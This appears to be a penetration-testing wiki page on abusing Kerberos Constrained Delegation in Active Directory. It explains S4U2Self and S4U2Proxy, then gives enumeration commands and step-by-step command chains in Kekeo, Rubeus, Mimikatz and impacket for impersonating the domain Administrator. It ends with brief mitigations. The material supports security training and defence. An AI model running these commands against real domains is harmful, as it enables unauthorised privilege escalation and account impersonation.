Constrained Delegation

Compared to Unconstrained Delegation, Constrained Delegation limits the services to which a service can access on behalf of a user. However, this service account must still be trusted to delegate.

One difference is that the user does not authenticate with Kerberos to the constrained service. Instead of authenticating to the KDC first, like in a regular Kerberos ticket request, the user authenticates directly to the service.

Once the user authenticates to the service, the service then requests a forwardable TGT to the KDC without the user's password included. The KDC checks the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION attribute on the service and whether or not the user's account is blocked. If everything checks out a ticket is returned.

That ticket gets passed back to the KDC and a TGS ticket is requested to the second service. The KDC checks the msDS-AllowedToDelegateTo field on the second service and if it is listed, then an access ticket is granted. The TGS gets sent to the next service and the user now can authenticate to it.

The Service for User (S4U) extension is used to aid the impersonation process when Constrained Delegation is used. The extension has two extensions within it:

  • Service for User to Self (S4U2Self): This allows a service to obtain a forwardable TGS to itself on the user's behalf with the User Principal Name supplied. No password is included.

  • Service for User to Proxy (S4U2proxy): This allows the service to obtain the required TGS on the user's behalf to the second service the user needs to connect to. This second service will have the msDS-AllowedToDelegateTo attribute given to it. User tokens can be forwarded to those SPN's which have this attribute given.

What is interesting to note is that the delegation occurs not only for the specified service, but also for ANY service running under the account that is running the service. Therefore, if an account is running a service that is trusted to authenticate, we can exploit this to authenticate to any SPN running under the same account. This can be very useful if a machine account is running such a service.

Follow-up attacks such as DCSync then become very useful considering that we can impersonate domain administrators.

Attacking Services With Constrained Delegation

Enumerating Services

We need to make sure TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION and msDS-AllowedToDelegateTo are set.

  • From Powershell

# PowerView_dev
Get-DomainUser -TrustedToAuth [| select samaccountname, msds-allowedtodelegateto]
Get-DomainComputer -TrustedToAuth [| select samaccountname, msds-allowedtodelegateto]

# AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
  • Using impacket from Linux (pay attention to the "Delegation Type" column)

sudo python3 findDelegation.py <domain>/<user>:<pass> -dc-ip <ip>

Exploitation

This will need to be performed with at least local Admin privileges from the compromised constrained server.

  • Method 1: Kekeo.exe

# Step 1 - Request a TGT
tgt::ask /user:<user_with_CD> /domain:<domain> /rc4:<hash>

# Step 2 - Request a TGS with the new ticket
tgs::s4u /tgt:<ticket.kirbi> /user:Administrator@<domain> /service:<service>/<service_domain>
# If you have an account (like a machine account) that is running more than one service, you can create a TGS for more than one SPN
tgs::s4u /tgt:<ticket.kirbi> /user:Administrator@<domain> /service:<service>/<service_domain>|<service2>/<service_domain> 

# Step 3 - Inject with Mimikatz
Invoke-Mimikatz -Command '"kerberos::ptt <TGS.kirbi>"'

# Step 4 - Check access
ls \\<service_domain>\C$
  • Method 2: Rubeus.exe

# If you do not have the account hash - perform these two steps
.\Rubeus.exe tgtdeleg
.\Rubeus.exe s4u /user:<user_with_CD> /domain:<domain> /ticket:<b64_encoded_ticket> /impersonateuser:Administrator /msdsspn:"<service>/<service_domain>" /ptt

# If you have the account hash, Rubeus.exe will create the TGT and then the TGS with one command instead
.\Rubeus.exe s4u /user:<user_with_CD> /rc4:<hash> /impersonateuser:Administrator /msdsspn:"<service>/<service_domain>" /ptt

# If you have an account (like a machine account) that is running more than one service, you can create a TGS for more than one SPN
.\Rubeus.exe s4u /user:<user_with_CD> /rc4:<hash> /impersonateuser:Administrator /msdsspn:"<service>/<service_domain>" /altservice:<service2>[,<service3>...] /ptt

# Check access
ls \\<service_domain>\C$
  • From Linux

This requires you to have the credentials of the constrained service account.

# With impacket
python3 getTGT.py -hashes :<hash> -dc-ip <ip> <domain>/<user_with_CD>@<domain>

export KRB5CCNAME=user@domain.ccache

python3 getST.py -k -spn <service>/<service_domain> -impersonate Administrator <domain>/<user_with_CD>@<domain> -no-pass

export KRB5CCNAME=Administrator.ccache

# then check your access - psexec if using CIFS for example...
python3 psexec.py -k <service_domain> -no-pass 

Mitigations

  • If possible, disable Kerberos delegation

  • Limit the services that Domain Admins or other Admins can use

  • For privileged accounts, make sure to set "Account is sensitive and cannot be delegated".

  • Have very strong passwords on accounts which are trusted to delegate.

Last updated